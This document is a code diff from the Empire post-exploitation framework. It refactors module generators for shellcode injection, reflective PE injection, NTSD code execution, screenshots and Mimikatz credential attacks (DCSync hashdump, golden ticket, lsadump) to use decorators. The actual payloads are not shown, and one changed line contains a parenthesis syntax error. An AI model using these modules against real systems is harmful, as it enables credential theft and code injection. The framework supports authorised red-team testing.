FEATURE #716 - use decorators and remove deprecated features

empire/server/modules/powershell/code_execution/invoke_ntsd.py

@@ -1,16 +1,20 @@
 from empire.server.common.empire import MainMenu
 from empire.server.core.module_models import EmpireModule
-from empire.server.utils.module_util import handle_error_message
+from empire.server.core.exceptions import ModuleValidationException
+from empire.server.core.module_service import auto_finalize, auto_get_source
 
 
 class Module:
     @staticmethod
+    @auto_get_source
+    @auto_finalize
     def generate(
         main_menu: MainMenu,
         module: EmpireModule,
         params: dict,
         obfuscate: bool = False,
         obfuscation_command: str = "",
+        script: str = "",
     ):
         listener_name = params["Listener"]
         upload_path = params["UploadPath"].strip()
@@ -38,20 +42,10 @@ def generate(
                 + "/data/module_source/code_execution/ntsdexts_x86.dll"
             )
 
-        # read in the common module source code
-        script, err = main_menu.modulesv2.get_module_source(
-            module_name=module.script_path,
-            obfuscate=obfuscate,
-            obfuscate_command=obfuscation_command,
-        )
-
-        if err:
-            return handle_error_message(err)
-
         script_end = ""
         if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
             # not a valid listener, return nothing for the script
-            return handle_error_message("[!] Invalid listener: %s" % (listener_name))
+            raise ModuleValidationException("Invalid listener: %s" % (listener_name))
         else:
             multi_launcher = main_menu.stagertemplatesv2.new_instance("multi_launcher")
             multi_launcher.options["Listener"] = params["Listener"]
@@ -64,7 +58,7 @@ def generate(
             launcher = multi_launcher.generate()
 
             if launcher == "":
-                return handle_error_message("[!] Error in launcher generation.")
+                raise ModuleValidationException("Error in launcher generation.")
             else:
                 launcher = launcher.split(" ")[-1]
 
@@ -94,10 +88,4 @@ def generate(
                 script_end += "\r\n"
                 script_end += code_exec
 
-        script = main_menu.modulesv2.finalize_module(
-            script=script,
-            script_end=script_end,
-            obfuscate=obfuscate,
-            obfuscation_command=obfuscation_command,
-        )
-        return script
+        return script, script_end

empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py

@@ -2,31 +2,29 @@
 
 from empire.server.common import helpers
 from empire.server.common.empire import MainMenu
+from empire.server.core.exceptions import ModuleValidationException
 from empire.server.core.module_models import EmpireModule
-from empire.server.utils.module_util import handle_error_message
+from empire.server.core.module_service import auto_finalize, auto_get_source
 
 
 class Module:
     @staticmethod
+    @auto_get_source
+    @auto_finalize
     def generate(
         main_menu: MainMenu,
         module: EmpireModule,
         params: dict,
         obfuscate: bool = False,
         obfuscation_command: str = "",
+        script: str = "",
     ):
-        # read in the common module source code
-        script, err = main_menu.modulesv2.get_module_source(
-            module_name=module.script_path,
-            obfuscate=obfuscate,
-            obfuscate_command=obfuscation_command,
-        )
 
         script_end = "\nInvoke-ReflectivePEInjection"
 
         # check if file or PEUrl is set. Both are required params in their respective parameter sets.
         if params["File"] == "" and params["PEUrl"] == "":
-            return handle_error_message("[!] Please provide a PEUrl or File")
+            raise ModuleValidationException(("Please provide a PEUrl or File")
         for option, values in params.items():
             if option.lower() != "agent":
                 if option.lower() == "file":
@@ -59,10 +57,4 @@ def generate(
                 elif values and values != "":
                     script_end += " -" + str(option) + " " + str(values)
 
-        script = main_menu.modulesv2.finalize_module(
-            script=script,
-            script_end=script_end,
-            obfuscate=obfuscate,
-            obfuscation_command=obfuscation_command,
-        )
-        return script
+        return script, script_end

empire/server/modules/powershell/code_execution/invoke_shellcode.py

@@ -2,23 +2,21 @@
 
 from empire.server.common.empire import MainMenu
 from empire.server.core.module_models import EmpireModule
+from empire.server.core.module_service import auto_finalize, auto_get_source
 
 
 class Module:
     @staticmethod
+    @auto_get_source
+    @auto_finalize
     def generate(
         main_menu: MainMenu,
         module: EmpireModule,
         params: dict,
         obfuscate: bool = False,
         obfuscation_command: str = "",
+        script: str = "",
     ):
-        # read in the common module source code
-        script, err = main_menu.modulesv2.get_module_source(
-            module_name=module.script_path,
-            obfuscate=obfuscate,
-            obfuscate_command=obfuscation_command,
-        )
 
         script_end = "\nInvoke-Shellcode -Force"
 
@@ -42,10 +40,4 @@ def generate(
 
         script_end += "; 'Shellcode injected.'"
 
-        script = main_menu.modulesv2.finalize_module(
-            script=script,
-            script_end=script_end,
-            obfuscate=obfuscate,
-            obfuscation_command=obfuscation_command,
-        )
-        return script
+        return script, script_end

empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py

@@ -1,26 +1,19 @@
 from empire.server.common.empire import MainMenu
 from empire.server.core.module_models import EmpireModule
-from empire.server.utils.module_util import handle_error_message
-
+from empire.server.core.module_service import auto_finalize, auto_get_source
 
 class Module:
     @staticmethod
+    @auto_get_source
+    @auto_finalize
     def generate(
         main_menu: MainMenu,
         module: EmpireModule,
         params: dict,
         obfuscate: bool = False,
         obfuscation_command: str = "",
+        script: str = "",
     ):
-        # read in the common module source code
-        script, err = main_menu.modulesv2.get_module_source(
-            module_name=module.script_path,
-            obfuscate=obfuscate,
-            obfuscate_command=obfuscation_command,
-        )
-
-        if err:
-            return handle_error_message(err)
 
         script_end = "Invoke-ShellcodeMSIL"
 
@@ -35,10 +28,4 @@ def generate(
                 sc = ",0".join(values.split("\\"))[1:]
                 script_end += " -" + str(option) + " @(" + sc + ")"
 
-        script = main_menu.modulesv2.finalize_module(
-            script=script,
-            script_end=script_end,
-            obfuscate=obfuscate,
-            obfuscation_command=obfuscation_command,
-        )
-        return script
+        return script, script_end

empire/server/modules/powershell/collection/screenshot.py

@@ -1,26 +1,20 @@
 from empire.server.common.empire import MainMenu
 from empire.server.core.module_models import EmpireModule
-from empire.server.utils.module_util import handle_error_message
+from empire.server.core.module_service import auto_finalize, auto_get_source
 
 
 class Module:
     @staticmethod
+    @auto_get_source
+    @auto_finalize
     def generate(
         main_menu: MainMenu,
         module: EmpireModule,
         params: dict,
         obfuscate: bool = False,
         obfuscation_command: str = "",
+        script: str = "",
     ):
-        # read in the common module source code
-        script, err = main_menu.modulesv2.get_module_source(
-            module_name=module.script_path,
-            obfuscate=obfuscate,
-            obfuscate_command=obfuscation_command,
-        )
-
-        if err:
-            return handle_error_message(err)
 
         if params["Ratio"]:
             if params["Ratio"] != "0":
@@ -40,10 +34,4 @@ def generate(
                 else:
                     script_end += " -" + str(option) + " " + str(values)
 
-        script = main_menu.modulesv2.finalize_module(
-            script=script,
-            script_end=script_end,
-            obfuscate=obfuscate,
-            obfuscation_command=obfuscation_command,
-        )
-        return script
+        return script, script_end

empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py

@@ -1,26 +1,19 @@
 from empire.server.common.empire import MainMenu
 from empire.server.core.module_models import EmpireModule
-from empire.server.utils.module_util import handle_error_message
-
+from empire.server.core.module_service import auto_finalize, auto_get_source
 
 class Module:
     @staticmethod
+    @auto_get_source
+    @auto_finalize
     def generate(
         main_menu: MainMenu,
         module: EmpireModule,
         params: dict,
         obfuscate: bool = False,
         obfuscation_command: str = "",
+        script: str = "",
     ):
-        # read in the common module source code
-        script, err = main_menu.modulesv2.get_module_source(
-            module_name=module.script_path,
-            obfuscate=obfuscate,
-            obfuscate_command=obfuscation_command,
-        )
-
-        if err:
-            return handle_error_message(err)
 
         script_end = "Invoke-DCSync -PWDumpFormat "
 
@@ -39,10 +32,4 @@ def generate(
         outputf = params.get("OutputFunction", "Out-String")
         script_end += f" | {outputf};"
 
-        script = main_menu.modulesv2.finalize_module(
-            script=script,
-            script_end=script_end,
-            obfuscate=obfuscate,
-            obfuscation_command=obfuscation_command,
-        )
-        return script
+        return script, script_end

empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py

@@ -2,30 +2,25 @@
 
 from empire.server.common.empire import MainMenu
 from empire.server.core.db.base import SessionLocal
+from empire.server.core.exceptions import ModuleValidationException
 from empire.server.core.module_models import EmpireModule
-from empire.server.utils.module_util import handle_error_message
+from empire.server.core.module_service import auto_finalize, auto_get_source
 
 log = logging.getLogger(__name__)
 
 
 class Module:
     @staticmethod
+    @auto_get_source
+    @auto_finalize
     def generate(
         main_menu: MainMenu,
         module: EmpireModule,
         params: dict,
         obfuscate: bool = False,
         obfuscation_command: str = "",
+        script: str = "",
     ):
-        # read in the common module source code
-        script, err = main_menu.modulesv2.get_module_source(
-            module_name=module.script_path,
-            obfuscate=obfuscate,
-            obfuscate_command=obfuscation_command,
-        )
-
-        if err:
-            return handle_error_message(err)
 
         # if a credential ID is specified, try to parse
         cred_id = params["CredID"]
@@ -34,10 +29,10 @@ def generate(
                 cred = main_menu.credentialsv2.get_by_id(db, cred_id)
 
                 if not cred:
-                    return handle_error_message("[!] CredID is invalid!")
+                    raise ModuleValidationException("CredID is invalid!")
 
                 if cred.username != "krbtgt":
-                    return handle_error_message("[!] A krbtgt account must be used")
+                    raise ModuleValidationException("A krbtgt account must be used")
 
                 if cred.domain != "":
                     params["domain"] = cred.domain
@@ -63,10 +58,4 @@ def generate(
 
         script_end += " /ptt\"'"
 
-        script = main_menu.modulesv2.finalize_module(
-            script=script,
-            script_end=script_end,
-            obfuscate=obfuscate,
-            obfuscation_command=obfuscation_command,
-        )
-        return script
+        return script, script_end

empire/server/modules/powershell/credentials/mimikatz/lsadump.py

@@ -1,26 +1,19 @@
 from empire.server.common.empire import MainMenu
 from empire.server.core.module_models import EmpireModule
-from empire.server.utils.module_util import handle_error_message
-
+from empire.server.core.module_service import auto_finalize, auto_get_source
 
 class Module:
     @staticmethod
+    @auto_get_source
+    @auto_finalize
     def generate(
         main_menu: MainMenu,
         module: EmpireModule,
         params: dict,
         obfuscate: bool = False,
         obfuscation_command: str = "",
+        script: str = "",
     ):
-        # read in the common module source code
-        script, err = main_menu.modulesv2.get_module_source(
-            module_name=module.script_path,
-            obfuscate=obfuscate,
-            obfuscate_command=obfuscation_command,
-        )
-
-        if err:
-            return handle_error_message(err)
 
         script_end = "Invoke-Mimikatz -Command "
 
@@ -31,10 +24,4 @@ def generate(
 
         script_end += "\"';"
 
-        script = main_menu.modulesv2.finalize_module(
-            script=script,
-            script_end=script_end,
-            obfuscate=obfuscate,
-            obfuscation_command=obfuscation_command,
-        )
-        return script
+        return script, script_end